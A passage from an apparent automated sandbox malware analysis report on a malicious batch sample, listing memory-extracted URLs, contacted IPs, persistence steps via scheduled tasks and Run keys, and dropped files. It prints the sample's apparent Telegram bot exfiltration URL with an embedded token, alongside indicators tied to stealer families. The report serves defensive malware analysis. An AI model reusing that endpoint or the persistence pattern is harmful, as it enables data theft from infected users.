          http://www.apache.org/licenses/LICENSE-2.0.htmle45iasd.exe, 00000014.00000002.3430899028.000001CF60F7A000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          https://go.microe45iasd.exe, 00000014.00000002.3430899028.000001CF605E7000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000017.00000002.3435166260.000002AD249E5000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000019.00000002.3415624859.00000230008CC000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          https://contoso.com/Licensee45iasd.exe, 00000014.00000002.3430899028.000001CF610F0000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          http://www.microsoft.lpowershell.exe, 00000011.00000002.3442013616.0000020162227000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          https://contoso.com/Icone45iasd.exe, 00000014.00000002.3430899028.000001CF610F0000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          https://github.com/Pester/Pestere45iasd.exe, 00000014.00000002.3430899028.000001CF60F7A000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          https://api.telegram.org/bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=63372powershell.exe, 00000011.00000002.3452902429.0000020162BF6000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000006.00000002.2299974852.000001D5511F8000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          https://contoso.com/e45iasd.exe, 00000014.00000002.3430899028.000001CF610F0000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          https://nuget.org/nuget.exepowershell.exe, 00000005.00000002.2425670650.0000020644646000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2321024388.000001D56103D000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF5F6D4000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF610F0000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          https://oneget.orgXe45iasd.exe, 00000014.00000002.3430899028.000001CF60DD4000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          https://aka.ms/pscore68powershell.exe, 00000005.00000002.2376839730.0000020634431000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2299974852.000001D550FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3452902429.0000020162301000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF5F3F1000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000017.00000002.3435166260.000002AD241DF000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000017.00000002.3435166260.000002AD241B0000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000019.00000002.3415624859.0000023000047000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000019.00000002.3415624859.000002300005B000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          http://PSWorkflow.psm1olpowershell.exe, 00000006.00000002.2325743770.000001D56948C000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000005.00000002.2376839730.0000020634431000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2299974852.000001D550FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3452902429.0000020162301000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF5F3F1000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000017.00000002.3435166260.000002AD241B0000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000019.00000002.3415624859.0000023000094000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          http://crl.vpowershell.exe, 00000011.00000002.3421045734.0000020160121000.00000004.00000020.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          https://oneget.orge45iasd.exe, 00000014.00000002.3430899028.000001CF60DD4000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown

          World Map of Contacted IPs

          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs

          Public IPs

          IPDomainCountryFlagASNASN NameMalicious
          149.154.167.220
          		api.telegram.orgUnited Kingdom
          		62041TELEGRAMRUtrue
          95.98.144.201
          		unknownNetherlands
          		31615TMO-NL-ASNLtrue

          General Information

          Joe Sandbox version:40.0.0 Tourmaline
          Analysis ID:1497352
          Start date and time:2024-08-22 13:09:13 +02:00
          Joe Sandbox product:CloudBasic
          Overall analysis duration:0h 7m 47s
          Hypervisor based Inspection enabled:false
          Report type:full
          Cookbook file name:default.jbs
          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
          Number of analysed new started processes analysed:27
          Number of new started drivers analysed:0
          Number of existing processes analysed:0
          Number of existing drivers analysed:0
          Number of injected processes analysed:0
          Technologies:
          • HCA enabled
          • EGA enabled
          • AMSI enabled
          Analysis Mode:default
          Analysis stop reason:Timeout
          Sample name:PollosAplicaccion.bat
          Detection:MAL
          Classification:mal100.troj.expl.evad.winBAT@33/23@1/2
          EGA Information:Failed
          HCA Information:
          • Successful, ratio: 57%
          • Number of executed functions: 39
          • Number of non-executed functions: 3
          Cookbook Comments:
          • Found application associated with file extension: .bat

          Warnings

          • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
          • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
          • Not all processes where analyzed, report is missing behavior information
          • Report size exceeded maximum capacity and may have missing behavior information.
          • Report size getting too big, too many NtAllocateVirtualMemory calls found.
          • Report size getting too big, too many NtCreateKey calls found.
          • Report size getting too big, too many NtOpenKeyEx calls found.
          • Report size getting too big, too many NtProtectVirtualMemory calls found.
          • Report size getting too big, too many NtQueryValueKey calls found.
          • Report size getting too big, too many NtReadVirtualMemory calls found.
          • Report size getting too big, too many NtSetInformationFile calls found.
          • VT rate limit hit for: PollosAplicaccion.bat

          Simulations

          Behavior and APIs

          TimeTypeDescription
          07:10:16API Interceptor2173768x Sleep call for process: powershell.exe modified
          07:10:38API Interceptor199x Sleep call for process: e45iasd.exe modified
          13:10:22Task SchedulerRun new task: RuntimeBroker_startup_521_str path: C:\Users\user\AppData\Roaming\startup_str_521.vbs
          13:10:35Task SchedulerRun new task: e45iasd path: C:\Users\user\e45iasd.exe
          13:10:36AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e45iasd C:\Users\user\e45iasd.exe
          13:10:44AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e45iasd C:\Users\user\e45iasd.exe
          13:10:53AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk

          Joe Sandbox View / Context

          IPs

          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          149.154.167.220lYL8naoHXw.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
            NEW.P.ORDER .ENQUIRY56433.PDF.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
              kgMdslznpG.htaGet hashmaliciousCobalt Strike, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                DHL Shipping Document_308-4716.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                  st.exeGet hashmaliciousXWormBrowse
                    XClient.exeGet hashmaliciousXWormBrowse
                      SecuriteInfo.com.Win32.CrypterX-gen.19624.6979.exeGet hashmaliciousClipboard Hijacker, PureLog Stealer, RedLine, zgRATBrowse
                        Order Confirmation.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                          MsvL2pjs5Y.exeGet hashmaliciousAveMaria, WhiteSnake StealerBrowse
                            quote.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse

                              Domains

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              api.telegram.orglYL8naoHXw.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              NEW.P.ORDER .ENQUIRY56433.PDF.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              kgMdslznpG.htaGet hashmaliciousCobalt Strike, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              DHL Shipping Document_308-4716.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              st.exeGet hashmaliciousXWormBrowse
                              • 149.154.167.220
                              XClient.exeGet hashmaliciousXWormBrowse
                              • 149.154.167.220
                              SecuriteInfo.com.Win32.CrypterX-gen.19624.6979.exeGet hashmaliciousClipboard Hijacker, PureLog Stealer, RedLine, zgRATBrowse
                              • 149.154.167.220
                              Order Confirmation.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              MsvL2pjs5Y.exeGet hashmaliciousAveMaria, WhiteSnake StealerBrowse
                              • 149.154.167.220
                              quote.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220

                              ASNs

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              TELEGRAMRUfile.exeGet hashmaliciousLummaC, Stealc, VidarBrowse
                              • 149.154.167.99
                              file.exeGet hashmaliciousLummaC, VidarBrowse
                              • 149.154.167.99
                              lYL8naoHXw.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              NEW.P.ORDER .ENQUIRY56433.PDF.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              kgMdslznpG.htaGet hashmaliciousCobalt Strike, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              DHL Shipping Document_308-4716.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              st.exeGet hashmaliciousXWormBrowse
                              • 149.154.167.220
                              XClient.exeGet hashmaliciousXWormBrowse
                              • 149.154.167.220
                              https://abcd-3b3.pages.dev/s/modsbots_techGet hashmaliciousUnknownBrowse
                              • 149.154.167.99
                              SecuriteInfo.com.Win32.CrypterX-gen.19624.6979.exeGet hashmaliciousClipboard Hijacker, PureLog Stealer, RedLine, zgRATBrowse
                              • 149.154.167.220
                              TMO-NL-ASNLKKveTTgaAAsecNNaaaa.arm.elfGet hashmaliciousUnknownBrowse
                              • 178.228.167.2
                              botx.arm.elfGet hashmaliciousMiraiBrowse
                              • 84.241.253.4
                              45.66.231.213-mipsel-2024-08-09T11_47_09.elfGet hashmaliciousUnknownBrowse
                              • 178.226.17.189
                              x86.elfGet hashmaliciousUnknownBrowse
                              • 178.230.145.133
                              xd.arm7.elfGet hashmaliciousMiraiBrowse
                              • 91.141.206.110
                              XkdNB2mGwN.elfGet hashmaliciousMiraiBrowse
                              • 178.230.74.199
                              q0BdVNSe7w.elfGet hashmaliciousMiraiBrowse
                              • 178.232.196.154
                              xd.arm7.elfGet hashmaliciousMiraiBrowse
                              • 188.90.168.103
                              Rx1EfzuTh3.elfGet hashmaliciousUnknownBrowse
                              • 178.227.127.169
                              K8vjjv1Tcx.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                              • 89.205.161.221

                              JA3 Fingerprints

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              3b5074b1b5d032e5620f69f9f700ff0eRFQ#003110-Al Nasr.exeGet hashmaliciousAgentTeslaBrowse
                              • 149.154.167.220
                              hesaphareketi__20240822.exeGet hashmaliciousUnknownBrowse
                              • 149.154.167.220
                              hesaphareketi__20240822.exeGet hashmaliciousUnknownBrowse
                              • 149.154.167.220
                              5831205-POS.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                              • 149.154.167.220
                              lYL8naoHXw.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              http://lisasierra.comGet hashmaliciousUnknownBrowse
                              • 149.154.167.220
                              NEW.P.ORDER .ENQUIRY56433.PDF.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              PI 22_8_2024.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                              • 149.154.167.220
                              kgMdslznpG.htaGet hashmaliciousCobalt Strike, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 149.154.167.220
                              PAGO DE DEP#U00d3SITO - PO512316.exeGet hashmaliciousAgentTeslaBrowse
                              • 149.154.167.220

                              Dropped Files

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              C:\Users\user\e45iasd.exegcapi64.cmdGet hashmaliciousUnknownBrowse
                                fed1bc0d4bf498ec8909dbc96118bda13606c389fa2d381a2a138ea63b69de3a_dump2.dll.dllGet hashmaliciousUnknownBrowse
                                  fed1bc0d4bf498ec8909dbc96118bda13606c389fa2d381a2a138ea63b69de3a_dump2.dll.dllGet hashmaliciousUnknownBrowse
                                    file.exeGet hashmaliciousUnknownBrowse
                                      BrowserUpdater.lnkGet hashmaliciousUnknownBrowse
                                        Updater.lnkGet hashmaliciousUnknownBrowse
                                          ZG7UaFRPVW.exeGet hashmaliciousDBatLoader, RemcosBrowse
                                            IN-34823_PO39276-pdf.vbeGet hashmaliciousRemcos, DBatLoaderBrowse
                                              7XU2cRFInT.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                megerosites.cmdGet hashmaliciousDBatLoader, LokibotBrowse

                                                  Created / dropped Files

                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:data
                                                  Category:modified
                                                  Size (bytes):9713
                                                  Entropy (8bit):4.940954773740904
                                                  Encrypted:false
                                                  SSDEEP:192:39smG3YrKkDQp5SVsm5emln9smKp5FiMDOmEN3H+OHgFKxoeRH83YrKk7Vsm5emq:cEU/iQ0HzAFGLCib4Sib4IY1Y
                                                  MD5:CAA3941248728535C7AFD19683C2FE46
                                                  SHA1:74848C69CB14FC06C53D350E8156F9160F730112
                                                  SHA-256:EC129D97386F9F1CD44908FA5C8C9163DA7DA5869793A861EE074A6B77D0E18A
                                                  SHA-512:94A9474447DB299556FA6323AEBBC2C1F5808FAA70AFA5394E24F3FB8567F5C821D49D0E9D158004C4829EFA7CE2093BB99437356005E59967C7120630ADE893
                                                  Malicious:false
                                                  Preview:PSMODULECACHE......x.g.z..I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1........SafeGetCommand........Get-ScriptBlockScope....$...Get-DictionaryValueFromFirstKeyFound........New-PesterOption........Invoke-Pester........ResolveTestScripts........Set-ScriptBlockScope........-Z..z..a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Unregister-PackageSource........Save-Package........Install-PackageProvider........Find-PackageProvider........Install-Package........Get-PackageProvider........Get-Package........Uninstall-Package........Set-PackageSource........Get-PackageSource........Find-Package........Register-PackageSource........Import-PackageProvider.........x.g.z..I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........AfterEa

                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:data
                                                  Category:dropped
                                                  Size (bytes):64
                                                  Entropy (8bit):1.1940658735648508
                                                  Encrypted:false
                                                  SSDEEP:3:Nlllulp07j:NllUa
                                                  MD5:732C6F327F6158795C5B7B9B5836F748
                                                  SHA1:B470FC8B70D840DCA9C435F638C2B9A610BDCC4C
                                                  SHA-256:517F81F536702082A40FC866C90755A46D024AF38582FAF43DE765808118ABB7
                                                  SHA-512:7F762E287ED7D65F6AD2899C9F1FA6F827DBCEB254DA2B24AD8E62EB2C318AA62B1D98995666680AD74F82FAE8DAC553D4551C5F1810C063E91C6A09D10D34CE
                                                  Malicious:false
                                                  Preview:@...e...................................\............@..........

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0a1uoy0b.sn2.ps1

                                                  Download File
                                                  Process:C:\Users\user\e45iasd.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4sulgz1f.kay.ps1

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d0u5fekd.ncz.psm1

                                                  Download File
                                                  Process:C:\Users\user\e45iasd.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_evsi5gph.ei2.psm1

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gj5qcpsz.xdp.ps1

                                                  Download File
                                                  Process:C:\Users\user\e45iasd.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_he4zdr1j.ho1.ps1

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ipgy321i.esl.psm1

                                                  Download File
                                                  Process:C:\Users\user\e45iasd.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iqw5zqxt.thw.psm1

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgimnyt2.dey.ps1

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mezca5tm.0ig.psm1

                                                  Download File
                                                  Process:C:\Users\user\e45iasd.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nut5314t.tr1.ps1

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_slisvmae.zsf.ps1

                                                  Download File
                                                  Process:C:\Users\user\e45iasd.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_svppbdqk.msi.psm1

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yf1c43us.noc.psm1

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
